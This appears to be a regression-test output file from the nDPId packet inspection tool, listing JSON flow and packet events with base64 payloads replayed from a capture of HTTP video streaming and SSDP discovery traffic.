+00428{"flow_id":47,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":563,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":36037,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"AQBeAAD8uKxvwfbSCABFAAA3J0UAAAERi6vAqGUh4AAA\/ORYFOsAI152CJsAAAABAAAAAAAACUpvYW5uYS1QQwAA\/wAB"} +00428{"flow_id":48,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":564,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":38651,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"AQBeAAD8cPGh+Cr9CABFAAA3fUUAAAERlcPAqAUJ4AAA\/ORYFOsAI76OCJsAAAABAAAAAAAACUpvYW5uYS1QQwAA\/wAB"} +00415{"flow_id":46,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":565,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":51854,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABxCjnAxTF4M6gNlCABFAAAo2exAADEGVB63gzCRwKhzCABQwcyPbNg6W17ywVAQK\/jwMgAAAAAAAAAA"} +01255{"flow_id":46,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":566,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":51994,"pkt_caplen":687,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":687,"pkt_l4_len":653,"pkt":"ABxCjnAxTF4M6gNlCABFAAKh2e1AADEGUaS3gzCRwKhzCABQwcyPbNg6W17ywVAYK\/hyfgAASFRUUC8xLjEgMzAyIE1vdmVkIFRlbXBvcmFyaWx5DQpTZXJ2ZXI6IGh0dHBzZXJ2ZXINCkxvY2F0aW9uOiBodHRwOi8vMTgzLjEzMS40OC4xNDQvdmxpdmUucXF2aWRlby50Yy5xcS5jb20vdTAwMjBta3JuZHMucDEyMDMuMS5tcDQ\/dmtleT03QUIxMzlCRjZCMzJGNTM3NDdFOEZGMTkyRTZGRTU1N0IzQTNENjQ0QzAzNEUzNEJGNkVBRUI0RTA3NzRGMkE5MkVGM0FDNUMwMDc1MjBCQjkyNUU1QzhBMThFNkQzMDJDMkRBRTBBMjk1QjI2QUE4RkQxREM4MDY5RDQ3Q0UxQjRBMTZBNTY4NzBCRDFBQ0EzRTg2QUJFNEMwNzk2NTlEQjIxODJGQzcxMjE3QUI2OENDRDM0NENFNjU2OTQ0NTdFM0Y1MzU0OUNENjE3RDVDOUY2NzFBMjZDNzBEQzY4RjkzRjFEN0JDRDAxNzc2MkYmZ3VpZD1GNUVCMDFDQzAxQThFMDhDRDgzNjMwODI4REUxN0MyQjAyMTYyRkQ4JmxvY2lkPWEwNmY5OGZkLWZhMjYtNDRlNS1hY2M1LTBkODNmOWRmMDNhZiZzaXplPTk0MTg2NTUmb2NpZD0yNTM1NjQzMzINCkNhY2hlLUNvbnRyb2w6IG1heC1hZ2U9NzIwMA0KQ29ubmVjdGlvbjogY2xvc2UNCkNvbnRlbnQtTGVuZ3RoOiAwDQpYLVNlcnZlcklwOiAxODMuMTMxLjQ4LjE0NQ0KWC1SZXNwVGltZTogMDIvQXVnLzIwMTY6MTA6MTk6NDQgKzA4MDANCg0K"} +00408{"flow_id":46,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":567,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":53359,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUjFAAIAGjNnAqHMIt4MwkcHMAFBbXvLBj2zas1AR\/XccOQAA"} +00408{"flow_id":46,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":568,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":53397,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUjFAAIAGjNnAqHMIt4MwkcHMAFBbXvLBj2zas1AR\/XccOQAA"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":569,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1470104382053,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"183.131.48.144","src_port":49613,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":49,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":569,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":53678,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0UjJAAIAGjM3AqHMIt4MwkMHNAFBSJ8A7AAAAAIACIABfkwAAAgQE7AEDAwgBAQQC"} +00422{"flow_id":49,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":570,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":53709,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0UjJAAIAGjM3AqHMIt4MwkMHNAFBSJ8A7AAAAAIACIABfkwAAAgQE7AEDAwgBAQQC"} +00415{"flow_id":49,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":573,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":122949,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"ABxCjnAxTF4M6gNlCABFAAAsAABAADEGLgi3gzCQwKhzCABQwc0rYeLSUifAPGASOQhglAAAAgQFtAAA"} +00409{"flow_id":49,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":574,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":123077,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUjRAAIAGjNfAqHMIt4MwkMHNAFBSJ8A8K2Hi01AQ\/\/CxaAAA"} +00409{"flow_id":49,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":575,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":123103,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUjRAAIAGjNfAqHMIt4MwkMHNAFBSJ8A8K2Hi01AQ\/\/CxaAAA"} +00417{"flow_id":46,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":576,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":124370,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABxCjnAxTF4M6gNlCABFAAAo2e5AADEGVBy3gzCRwKhzCABQwcyPbNqzW17ywlARK\/jttwAAAAAAAAAA"} +01085{"flow_id":49,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":577,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":125031,"pkt_caplen":557,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":557,"pkt_l4_len":523,"pkt":"TF4M6gNlABxCjnAxCABFAAIfUjVAAIAGit\/AqHMIt4MwkMHNAFBSJ8A8K2Hi01AY\/\/BoUwAAR0VUIC92bGl2ZS5xcXZpZGVvLnRjLnFxLmNvbS91MDAyMG1rcm5kcy5wMTIwMy4xLm1wND92a2V5PTdBQjEzOUJGNkIzMkY1Mzc0N0U4RkYxOTJFNkZFNTU3QjNBM0Q2NDRDMDM0RTM0QkY2RUFFQjRFMDc3NEYyQTkyRUYzQUM1QzAwNzUyMEJCOTI1RTVDOEExOEU2RDMwMkMyREFFMEEyOTVCMjZBQThGRDFEQzgwNjlENDdDRTFCNEExNkE1Njg3MEJEMUFDQTNFODZBQkU0QzA3OTY1OURCMjE4MkZDNzEyMTdBQjY4Q0NEMzQ0Q0U2NTY5NDQ1N0UzRjUzNTQ5Q0Q2MTdENUM5RjY3MUEyNkM3MERDNjhGOTNGMUQ3QkNEMDE3NzYyRiZndWlkPUY1RUIwMUNDMDFBOEUwOENEODM2MzA4MjhERTE3QzJCMDIxNjJGRDgmbG9jaWQ9YTA2Zjk4ZmQtZmEyNi00NGU1LWFjYzUtMGQ4M2Y5ZGYwM2FmJnNpemU9OTQxODY1NSZvY2lkPTI1MzU2NDMzMiBIVFRQLzEuMQ0KSG9zdDogMTgzLjEzMS40OC4xNDQNClJhbmdlOiBieXRlcz0wLQ0KQ29ubmVjdGlvbjogY2xvc2UNCkljeS1NZXRhRGF0YTogMQ0KDQo="} +01080{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":577,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":6,"flow_first_seen":1470104382053,"flow_last_seen":1470104382125,"flow_tot_l4_data_len":651,"flow_min_l4_data_len":20,"flow_max_l4_data_len":523,"flow_avg_l4_data_len":108,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"183.131.48.144","src_port":49613,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"183.131.48.144","url":"183.131.48.144\/vlive.qqvideo.tc.qq.com\/u0020mkrnds.p1203.1.mp4?vkey=7AB139BF6B32F53747E8FF192E6FE557B3A3D644C034E34BF6EAEB4E0774F2A92EF3AC5C007520BB925E5C8A18E6D302C2DAE0A295B26AA8FD1DC8069D47CE1B4A16A56870BD1ACA3E86ABE4C079659DB2182FC71217AB68CCD344CE65694457E3F53549CD617D5C9F671A26C70DC68F93F1D7BCD017762F&guid=F5EB01CC01A8E08CD83630828DE17C2B02162FD8&locid=a06f98fd-fa26-44e5-acc5-0d83f9df03af&size=9418655&ocid=253564332","code":0,"content_type":"","user_agent":""}} +01085{"flow_id":49,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":578,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":125065,"pkt_caplen":557,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":557,"pkt_l4_len":523,"pkt":"TF4M6gNlABxCjnAxCABFAAIfUjVAAIAGit\/AqHMIt4MwkMHNAFBSJ8A8K2Hi01AY\/\/BoUwAAR0VUIC92bGl2ZS5xcXZpZGVvLnRjLnFxLmNvbS91MDAyMG1rcm5kcy5wMTIwMy4xLm1wND92a2V5PTdBQjEzOUJGNkIzMkY1Mzc0N0U4RkYxOTJFNkZFNTU3QjNBM0Q2NDRDMDM0RTM0QkY2RUFFQjRFMDc3NEYyQTkyRUYzQUM1QzAwNzUyMEJCOTI1RTVDOEExOEU2RDMwMkMyREFFMEEyOTVCMjZBQThGRDFEQzgwNjlENDdDRTFCNEExNkE1Njg3MEJEMUFDQTNFODZBQkU0QzA3OTY1OURCMjE4MkZDNzEyMTdBQjY4Q0NEMzQ0Q0U2NTY5NDQ1N0UzRjUzNTQ5Q0Q2MTdENUM5RjY3MUEyNkM3MERDNjhGOTNGMUQ3QkNEMDE3NzYyRiZndWlkPUY1RUIwMUNDMDFBOEUwOENEODM2MzA4MjhERTE3QzJCMDIxNjJGRDgmbG9jaWQ9YTA2Zjk4ZmQtZmEyNi00NGU1LWFjYzUtMGQ4M2Y5ZGYwM2FmJnNpemU9OTQxODY1NSZvY2lkPTI1MzU2NDMzMiBIVFRQLzEuMQ0KSG9zdDogMTgzLjEzMS40OC4xNDQNClJhbmdlOiBieXRlcz0wLQ0KQ29ubmVjdGlvbjogY2xvc2UNCkljeS1NZXRhRGF0YTogMQ0KDQo="} +00409{"flow_id":46,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":579,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":125348,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUjZAAIAGjNTAqHMIt4MwkcHMAFBbXvLCj2zatFAQ\/XccOAAA"} +00409{"flow_id":46,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":580,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":125381,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUjZAAIAGjNTAqHMIt4MwkcHMAFBbXvLCj2zatFAQ\/XccOAAA"} +00416{"flow_id":49,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":581,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":190889,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABxCjnAxTF4M6gNlCABFAAAostlAADEGezK3gzCQwKhzCABQwc0rYeLTUifCM1AQK\/iDagAAAAAAAAAA"} +00787{"flow_id":49,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":582,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":192288,"pkt_caplen":335,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":335,"pkt_l4_len":301,"pkt":"ABxCjnAxTF4M6gNlCABFAAFBstpAADEGehi3gzCQwKhzCABQwc0rYeLTUifCM1AYK\/jSYgAASFRUUC8xLjEgMjA2IFBhcnRpYWwgQ29udGVudA0KQ29udGVudC1SYW5nZTogYnl0ZXMgMC05NDE4NjU0Lzk0MTg2NTUNCkFjY2Vzcy1Db250cm9sLUFsbG93LU9yaWdpbjogKg0KQ29udGVudC1MZW5ndGg6IDk0MTg2NTUNCkFjY2VwdC1SYW5nZXM6IGJ5dGVzDQpEYXRlOiBUdWUsIDAyIEF1ZyAyMDE2IDAyOjE5OjQ1IEdNVA0KQ29udGVudC1UeXBlOiB2aWRlby9tcDQNClgtU2VydmVySXA6IDE4My4xMzEuNDguMTQ0DQpYLVJlc3BUaW1lOiAwMi9BdWcvMjAxNjoxMDoxOTo0NSArMDgwMA0KDQo="} +01103{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":582,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":9,"flow_first_seen":1470104382053,"flow_last_seen":1470104382192,"flow_tot_l4_data_len":1495,"flow_min_l4_data_len":20,"flow_max_l4_data_len":523,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"183.131.48.144","src_port":49613,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Media"},"http": {"hostname":"183.131.48.144","url":"183.131.48.144\/vlive.qqvideo.tc.qq.com\/u0020mkrnds.p1203.1.mp4?vkey=7AB139BF6B32F53747E8FF192E6FE557B3A3D644C034E34BF6EAEB4E0774F2A92EF3AC5C007520BB925E5C8A18E6D302C2DAE0A295B26AA8FD1DC8069D47CE1B4A16A56870BD1ACA3E86ABE4C079659DB2182FC71217AB68CCD344CE65694457E3F53549CD617D5C9F671A26C70DC68F93F1D7BCD017762F&guid=F5EB01CC01A8E08CD83630828DE17C2B02162FD8&locid=a06f98fd-fa26-44e5-acc5-0d83f9df03af&size=9418655&ocid=253564332","code":206,"content_type":"video\/mp4","user_agent":""}} +01792{"flow_id":49,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":583,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":198371,"pkt_caplen":1078,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1078,"pkt_l4_len":1044,"pkt":"ABxCjnAxTF4M6gNlCABFAAQosttAADEGdzC3gzCQwKhzCABQwc0rYePsUifCM1AYK\/iADwAAAAAAHGZ0eXBtcDQyAAAAAGlzb21hdmMxbXA0MgAB2WJtb292AAAAbG12aGQAAAAA05ElBtORJQYAAAJYAAK\/GQABAAABAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAAFWlvZHMAAAAAEAcAT\/\/\/KBX\/AAFfKnRyYWsAAABcdGtoZAAAAAHTkSUG05ElDAAAAAEAAAAAAAK\/CAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAB4AAAAPAAAAABXqJtZGlhAAAAIG1kaGQAAAAA05ElBtORJQsAAGGoAHJs+FXEAAAAAAAsaGRscgAAAAAAAAAAdmlkZQAAAAAAAAAAAAAAAFRyYWNrSGFuZGxlcgABXk5taW5mAAAAFHZtaGQAAAABAAAAAAAAAAAAAAAkZGluZgAAABxkcmVmAAAAAAAAAAEAAAAMdXJsIAAAAAEAAV4Oc3RibAAAAK5zdHNkAAAAAAAAAAEAAACeYXZjMQAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAHgAPAASAAAAEgAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABj\/\/wAAADRhdmNDAWQAHv\/hABhnZAAerMhQeH6EAAADAAQAAAMAyDxYtlgBAAVo6+yyLP34+AAAAAAUYnRydAAAauQAFEnwAAPNWAAAABhzdHRzAAAAAAAAAAEAAB1LAAAD6AAAzGBjdHRzAAAAAAAAGYoAAAABAAAH0AAAAAEAAA+gAAAAAQAAB9AAAAABAAAAAAAAAAIAAAfQAAAAAQAAD6AAAAABAAAH0AAAAAEAAAAAAAAAAQAAG1gAAAABAAALuAAAAAIAAAAAAAAAAgAAA+gAAAABAAAH0AAAAAEAABtYAAAAAQAAC7gAAAACAAAAAAAAAAIAAAPoAAAAAQAAG1gAAAABAAALuAAAAAIAAAAAAAAAAgAAA+gAAAABAAATiAAAAAEAAAfQAAAAAQAAAAAAAAABAAAD6AAAAAEAABtYAAAAAQAAC7gAAAACAAAAAAAAAAIAAAPoAAAAAQAAH0AAAAABAAAPoAAAAAMAAAAAAAAAAgAAA+gAAAABAAAXcAAAAAEAAAu4AAAAAgAAAAAAAAABAAAD6AAAAAEAABOIAAAAAQAAB9AAAAABAAAAAAAAAAEAAAPoAAAAAQAAG1gAAAABAAALuAAAAAIAAAAAAAAAAgAAA+gAAAABAAATiAAAAAEAAAfQAAAAAQAAAAAAAAABAA=="} +01783{"flow_id":49,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":584,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":198662,"pkt_caplen":1078,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1078,"pkt_l4_len":1044,"pkt":"ABxCjnAxTF4M6gNlCABFAAQostxAADEGdy+3gzCQwKhzCABQwc0rYefsUifCM1AYK\/i2wAAAAAPoAAAAAQAAG1gAAAABAAALuAAAAAIAAAAAAAAAAgAAA+gAAAABAAATiAAAAAEAAAfQAAAAAQAAAAAAAAABAAAD6AAAAAEAAAu4AAAAAQAAA+gAAAABAAALuAAAAAEAAAPoAAAAAQAAH0AAAAABAAAPoAAAAAMAAAAAAAAAAgAAA+gAAAABAAAXcAAAAAEAAAu4AAAAAgAAAAAAAAABAAAD6AAAAAEAABdwAAAAAQAAC7gAAAACAAAAAAAAAAEAAAPoAAAAAQAAG1gAAAABAAALuAAAAAIAAAAAAAAAAgAAA+gAAAABAAATiAAAAAEAAAfQAAAAAQAAAAAAAAABAAAD6AAAAAEAABdwAAAAAQAAC7gAAAACAAAAAAAAAAEAAAPoAAAAAQAAF3AAAAABAAALuAAAAAIAAAAAAAAAAQAAA+gAAAABAAATiAAAAAEAAAfQAAAAAQAAAAAAAAABAAAD6AAAAAEAAAfQAAAAAQAAF3AAAAABAAALuAAAAAIAAAAAAAAAAQAAA+gAAAABAAATiAAAAAEAAAfQAAAAAQAAAAAAAAABAAAD6AAAAAEAAA+gAAAAAQAAB9AAAAABAAAAAAAAAAEAABtYAAAAAQAAC7gAAAACAAAAAAAAAAIAAAPoAAAAAQAAB9AAAAABAAALuAAAAAEAAAPoAAAAAQAAE4gAAAABAAAH0AAAAAEAAAAAAAAAAQAAA+gAAAABAAAPoAAAAAEAAAfQAAAAAQAAAAAAAAABAAAH0AAAAAEAABdwAAAAAQAAC7gAAAACAAAAAAAAAAEAAAPoAAAAAQAAG1gAAAABAAALuAAAAAIAAAAAAAAAAgAAA+gAAAABAAAPoAAAAAEAAAfQAAAAAQAAAAAAAAABAAATiAAAAAEAAAfQAAAAAQAAAAAAAAABAAAD6AAAAAEAABOIAAAAAQAAB9AAAAABAAAAAAAAAAEAAAPoAAAAAQAAB9AAAAABAAAPoAAAAAEAAAfQAAAAAQAAAAAAAAABAAAXcAAAAAEAAAu4AAAAAgAAAAAAAAABAAAD6AAAAAEAAA+gAAAAAQAAB9AAAAABAAAAAAAAAAEAABOIAAAAAQAAB9AAAAABAAAAAAAAAAEAAAPoAAAAAQAAF3AAAAABAAALuAAAAAIAAAAAAAAAAQAAA+gAAAABAAAH0AAAAAEAABdwAAAAAQAAC7gAAAACAAAAAAAAAAEAAAPoAAAAAQAAE4gAAAABAAAH0AAAAAEAAAAAAAAAAQAAA+gAAAABAAAH0AAAAAEAAA+gAAAAAQAAB9AAAAABAAAAAAAAAAEAAB9AAAAAAQAAD6AAAAADAAAAAAAAAAIAAAPoAAAAAQAAD6AAAAABAA=="} +00410{"flow_id":49,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":585,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":199024,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUjdAAIAGjNTAqHMIt4MwkMHNAFBSJ8IzK2Hr7FAQ\/\/CmWAAA"} +00410{"flow_id":49,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":586,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":199061,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUjdAAIAGjNTAqHMIt4MwkMHNAFBSJ8IzK2Hr7FAQ\/\/CmWAAA"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":587,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1470104382241,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.101.33","dst_ip":"239.255.255.250","src_port":55485,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00579{"flow_id":50,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":587,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":241911,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6uKxvwfbSCABFAAChJ0YAAAERfELAqGUh7\/\/\/+ti9B2wAjWL8TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00513{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":587,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1470104382241,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.101.33","dst_ip":"239.255.255.250","src_port":55485,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":588,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1470104382242,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.9","dst_ip":"239.255.255.250","src_port":55484,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00579{"flow_id":51,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":588,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":242882,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6cPGh+Cr9CABFAAChfYYAAAERhhrAqAUJ7\/\/\/+ti8B2wAjcMVTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":588,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1470104382242,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.9","dst_ip":"239.255.255.250","src_port":55484,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} 